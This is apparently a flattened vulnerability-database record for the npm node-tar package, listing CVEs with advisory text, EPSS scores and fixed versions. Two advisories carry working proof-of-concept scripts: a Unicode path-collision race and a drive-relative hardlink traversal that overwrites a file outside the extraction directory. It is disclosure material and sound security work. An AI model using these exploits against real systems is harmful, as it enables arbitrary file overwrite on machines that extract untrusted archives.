| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-1tz4-bphw-rbd3 |
| vulnerability_id |
VCID-1tz4-bphw-rbd3 |
| summary |
Path Traversal
This npm package has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2021-37701 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.2945 |
| published_at |
2026-04-12T12:55:00Z |
|
| 1 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29417 |
| published_at |
2026-04-16T12:55:00Z |
|
| 2 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29398 |
| published_at |
2026-04-13T12:55:00Z |
|
| 3 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29453 |
| published_at |
2026-04-01T12:55:00Z |
|
| 4 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29519 |
| published_at |
2026-04-02T12:55:00Z |
|
| 5 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29567 |
| published_at |
2026-04-04T12:55:00Z |
|
| 6 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29388 |
| published_at |
2026-04-07T12:55:00Z |
|
| 7 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29452 |
| published_at |
2026-04-08T12:55:00Z |
|
| 8 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29492 |
| published_at |
2026-04-09T12:55:00Z |
|
| 9 |
| value |
0.0011 |
| scoring_system |
epss |
| scoring_elements |
0.29495 |
| published_at |
2026-04-11T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2021-37701 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
|
| fixed_packages |
| 0 |
| url |
pkg:npm/tar@5.0.8 |
| purl |
pkg:npm/tar@5.0.8 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-5wr3-7131-u3aa |
|
| 1 |
| vulnerability |
VCID-7mtb-yaq7-77ep |
|
| 2 |
| vulnerability |
VCID-bj4b-gq5e-2kfy |
|
| 3 |
| vulnerability |
VCID-fqmy-jhdk-xfhw |
|
| 4 |
| vulnerability |
VCID-jj22-rfbv-bkg3 |
|
| 5 |
| vulnerability |
VCID-m4hj-dq8q-67f6 |
|
| 6 |
| vulnerability |
VCID-qunt-xms1-a3cc |
|
| 7 |
| vulnerability |
VCID-xqpk-t1d2-yqak |
|
| 8 |
| vulnerability |
VCID-yy79-dbn9-7bd5 |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/tar@5.0.8 |
|
| 1 |
| url |
pkg:npm/tar@6.1.7 |
| purl |
pkg:npm/tar@6.1.7 |
| is_vulnerable |
true |
| affected_by_vulnerabilities |
| 0 |
| vulnerability |
VCID-5wr3-7131-u3aa |
|
| 1 |
| vulnerability |
VCID-7mtb-yaq7-77ep |
|
| 2 |
| vulnerability |
VCID-bj4b-gq5e-2kfy |
|
| 3 |
| vulnerability |
VCID-fqmy-jhdk-xfhw |
|
| 4 |
| vulnerability |
VCID-jj22-rfbv-bkg3 |
|
| 5 |
| vulnerability |
VCID-m4hj-dq8q-67f6 |
|
| 6 |
| vulnerability |
VCID-qunt-xms1-a3cc |
|
| 7 |
| vulnerability |
VCID-xqpk-t1d2-yqak |
|
| 8 |
| vulnerability |
VCID-yy79-dbn9-7bd5 |
|
|
| resource_url |
http://public2.vulnerablecode.io/packages/pkg:npm/tar@6.1.7 |
|
|
| aliases |
CVE-2021-37701, GHSA-9r2w-394v-53qc
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-1tz4-bphw-rbd3 |
|
| 1 |
| url |
VCID-5wr3-7131-u3aa |
| vulnerability_id |
VCID-5wr3-7131-u3aa |
| summary |
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
**AUTHOR**: Tomás Illuminati
### Details
A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
```typescript
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
```
In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example:
``````bash
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
``````
---
### PoC
``````javascript
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
``````
---
### Impact
This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.
---
### Remediation
Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`.
Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
--- |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-23950 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.0064 |
| published_at |
2026-04-16T12:55:00Z |
|
| 1 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00667 |
| published_at |
2026-04-02T12:55:00Z |
|
| 2 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.0066 |
| published_at |
2026-04-04T12:55:00Z |
|
| 3 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00662 |
| published_at |
2026-04-07T12:55:00Z |
|
| 4 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00661 |
| published_at |
2026-04-08T12:55:00Z |
|
| 5 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00654 |
| published_at |
2026-04-09T12:55:00Z |
|
| 6 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00653 |
| published_at |
2026-04-11T12:55:00Z |
|
| 7 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00647 |
| published_at |
2026-04-12T12:55:00Z |
|
| 8 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00648 |
| published_at |
2026-04-13T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-23950 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-23950, GHSA-r6q2-hw4h-h46w
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-5wr3-7131-u3aa |
|
| 2 |
| url |
VCID-7mtb-yaq7-77ep |
| vulnerability_id |
VCID-7mtb-yaq7-77ep |
| summary |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The npm package "tar" (aka node-tar) has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2021-37712 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.2458 |
| published_at |
2026-04-08T12:55:00Z |
|
| 1 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24626 |
| published_at |
2026-04-09T12:55:00Z |
|
| 2 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24509 |
| published_at |
2026-04-07T12:55:00Z |
|
| 3 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24737 |
| published_at |
2026-04-04T12:55:00Z |
|
| 4 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24698 |
| published_at |
2026-04-02T12:55:00Z |
|
| 5 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24623 |
| published_at |
2026-04-01T12:55:00Z |
|
| 6 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24557 |
| published_at |
2026-04-16T12:55:00Z |
|
| 7 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24545 |
| published_at |
2026-04-13T12:55:00Z |
|
| 8 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.246 |
| published_at |
2026-04-12T12:55:00Z |
|
| 9 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24643 |
| published_at |
2026-04-11T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2021-37712 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
|
| 27 |
|
|
| fixed_packages |
|
| aliases |
CVE-2021-37712, GHSA-qq89-hq3f-393p
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-7mtb-yaq7-77ep |
|
| 3 |
| url |
VCID-bj4b-gq5e-2kfy |
| vulnerability_id |
VCID-bj4b-gq5e-2kfy |
| summary |
tar has Hardlink Path Traversal via Drive-Relative Linkpath
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.
### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.
What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.
### PoC
Tested on Arch Linux with `tar@7.5.9`.
PoC script (`poc.cjs`):
```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```
Run:
```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```
Observed output:
```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
```
`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.
### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-29786 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00269 |
| published_at |
2026-04-16T12:55:00Z |
|
| 1 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00245 |
| published_at |
2026-04-02T12:55:00Z |
|
| 2 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00246 |
| published_at |
2026-04-04T12:55:00Z |
|
| 3 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00243 |
| published_at |
2026-04-07T12:55:00Z |
|
| 4 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00277 |
| published_at |
2026-04-08T12:55:00Z |
|
| 5 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00276 |
| published_at |
2026-04-09T12:55:00Z |
|
| 6 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00275 |
| published_at |
2026-04-11T12:55:00Z |
|
| 7 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00272 |
| published_at |
2026-04-12T12:55:00Z |
|
| 8 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00271 |
| published_at |
2026-04-13T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-29786 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-29786, GHSA-qffp-2rhf-9h96
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-bj4b-gq5e-2kfy |
|
| 4 |
| url |
VCID-fqmy-jhdk-xfhw |
| vulnerability_id |
VCID-fqmy-jhdk-xfhw |
| summary |
Denial of service while parsing a tar file due to lack of folders count validation
## Description:
During some analysis today on npm's `node-tar` package I came across the folder creation process, Basicly if you provide node-tar with a path like this `./a/b/c/foo.txt` it would create every folder and sub-folder here a, b and c until it reaches the last folder to create `foo.txt`, In-this case I noticed that there's no validation at all on the amount of folders being created, that said we're actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside
## Steps To Reproduce:
You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video
## Proof Of Concept:
Here's a [video](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/3i7uojw8s52psar6pg8zkdo4h9io?response-content-disposition=attachment%3B%20filename%3D%22tar-dos-poc.webm%22%3B%20filename%2A%3DUTF-8%27%27tar-dos-poc.webm&response-content-type=video%2Fwebm&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240312T080103Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=1e8235d885f1d61529b7d6b23ea3a0780c300c91d86e925dd8310d5b661ddbe2) show-casing the exploit:
## Impact
Denial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources
## Report resources
[payload.txt](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/1e83ayb5dd3350fvj3gst0mqixwk?response-content-disposition=attachment%3B%20filename%3D%22payload.txt%22%3B%20filename%2A%3DUTF-8%27%27payload.txt&response-content-type=text%2Fplain&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240312T080103Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=bad9fe731f05a63a950f99828125653a8c1254750fe0ca7be882e89ecdd449ae)
[archeive.tar.gz](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/ymkuh4xnfdcf1soeyi7jc2x4yt2i?response-content-disposition=attachment%3B%20filename%3D%22archive.tar.gz%22%3B%20filename%2A%3DUTF-8%27%27archive.tar.gz&response-content-type=application%2Fx-tar&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20240312T080103Z&X-Amz-Expires=3600&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D&X-Amz-SignedHeaders=host&X-Amz-Signature=5e2c0d4b4de40373ac0fe91908c2659141a6dd4ab850271cc26042a3885c82ea)
## Note
This report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2024-28863 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00479 |
| scoring_system |
epss |
| scoring_elements |
0.64998 |
| published_at |
2026-04-02T12:55:00Z |
|
| 1 |
| value |
0.00479 |
| scoring_system |
epss |
| scoring_elements |
0.65037 |
| published_at |
2026-04-08T12:55:00Z |
|
| 2 |
| value |
0.00479 |
| scoring_system |
epss |
| scoring_elements |
0.64988 |
| published_at |
2026-04-07T12:55:00Z |
|
| 3 |
| value |
0.00479 |
| scoring_system |
epss |
| scoring_elements |
0.65025 |
| published_at |
2026-04-04T12:55:00Z |
|
| 4 |
| value |
0.00648 |
| scoring_system |
epss |
| scoring_elements |
0.70787 |
| published_at |
2026-04-13T12:55:00Z |
|
| 5 |
| value |
0.00648 |
| scoring_system |
epss |
| scoring_elements |
0.70796 |
| published_at |
2026-04-09T12:55:00Z |
|
| 6 |
| value |
0.00648 |
| scoring_system |
epss |
| scoring_elements |
0.70832 |
| published_at |
2026-04-16T12:55:00Z |
|
| 7 |
| value |
0.00648 |
| scoring_system |
epss |
| scoring_elements |
0.70802 |
| published_at |
2026-04-12T12:55:00Z |
|
| 8 |
| value |
0.00648 |
| scoring_system |
epss |
| scoring_elements |
0.70818 |
| published_at |
2026-04-11T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2024-28863 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
|
| fixed_packages |
|
| aliases |
CVE-2024-28863, GHSA-f5x3-32g6-xq36
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-fqmy-jhdk-xfhw |
|
| 5 |
| url |
VCID-jj22-rfbv-bkg3 |
